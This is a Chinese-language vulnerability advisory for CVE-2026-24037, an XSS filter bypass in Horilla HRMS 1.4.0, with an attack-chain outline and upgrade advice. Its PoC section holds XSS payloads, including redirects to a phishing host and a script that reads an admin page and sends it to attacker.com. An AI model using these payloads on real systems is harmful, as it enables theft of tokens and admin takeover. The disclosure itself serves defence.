IPBUF安全漏洞报告
English
CVE-2026-24037 CVSS 4.8 中危

CVE-2026-24037: Horilla HRMS XSS过滤器绕过漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24037
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Horilla HRMS (Human Resource Management System) 1.4.0

相关标签

XSSCVE-2026-24037Horilla HRMS过滤器绕过CSRF跨站脚本人力资源管理系统1.4.0

漏洞概述

Horilla是一套免费开源的人力资源管理系统(HRMS)。在1.4.0版本中,系统使用has_xss()函数通过正则表达式匹配来阻止跨站脚本(XSS)攻击。然而,由于这些正则表达式不完整且与上下文无关,攻击者可以轻易绕过安全过滤器。该漏洞允许攻击者将用户重定向到恶意域名、执行外部JavaScript代码,并窃取CSRF令牌,进而对管理员发起CSRF攻击。由于HRMS系统处理敏感的员工信息和人事数据,漏洞的利用可能导至严重的数据泄露和账户劫持风险。Horilla开发团队已在1.5.0版本中修复了此问题,建议所有用户立即升级。

技术细节

漏洞根源在于has_xss()函数的正则表达式匹配机制存在缺陷。具体问题包括:1)正则表达式仅匹配常见的script标签,但对事件处理器属性(如onload、onerror等)的过滤不完整;2)函数未考虑HTML编码、URL编码等绕过技术;3)缺少对javascript:伪协议和data:协议的过滤。攻击者可以利用这些缺陷在用户输入中注入恶意代码,例如:<img src=x onerror=alert(document.cookie)>、javascript:eval(atob('...'))等。当受害者访问包含恶意代码的页面时,攻击脚本会在其浏览器上下文中执行,从而窃取会话Cookie、CSRF令牌或执行其他恶意操作。由于HRMS系统中管理员拥有更高权限,攻击者针对管理员的CSRF攻击可能导致整个系统被接管。

攻击链分析

STEP 1
步骤1
攻击者识别Horilla HRMS 1.4.0版本中存在XSS过滤绕过的输入点,如用户资料、评论或表单字段
STEP 2
步骤2
攻击者构造恶意XSS payload,利用事件处理器属性(如onerror)或javascript:伪协议绕过has_xss()函数的正则检查
STEP 3
步骤3
恶意代码被存储在服务器端,当其他用户或管理员访问包含该代码的页面时触发
STEP 4
步骤4
攻击脚本在受害者浏览器中执行,可窃取Cookie、CSRF令牌或将用户重定向到钓鱼网站
STEP 5
步骤5
如果目标是管理员,攻击者可利用窃取的CSRF令牌发起进一步攻击,如修改系统配置或添加恶意用户账户

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- XSS Filter Bypass PoC for CVE-2026-24037 --> <!-- Method 1: Event handler without script tag --> <img src=x onerror=alert('XSS')> <!-- Method 2: Using javascript: protocol --> <a href="javascript:alert('XSS')">Click me</a> <!-- Method 3: Data URI --> <a href="data:text/html,<script>alert('XSS')</script>">Link</a> <!-- Method 4: Meta refresh redirect --> <meta http-equiv="refresh" content="0;url=http://malicious-site.com"> <!-- Method 5: CSRF token theft --> <img src=x onerror="fetch('/admin/profile').then(r=>r.text()).then(t=>{fetch('http://attacker.com/log?c='+btoa(t))})"> <!-- Real exploitation: Redirect to malicious domain --> <svg onload="window.location.href='http://malicious-site.com/phishing';">

影响范围

Horilla HRMS < 1.5.0

防御指南

临时缓解措施
立即将Horilla HRMS升级到1.5.0版本。在无法立即升级的情况下,可临时禁用用户生成内容的显示功能,实施严格的输入过滤,并启用HTTP安全响应头(如CSP、X-Frame-Options)以降低被利用的风险。同时监控日志以检测潜在的XSS攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表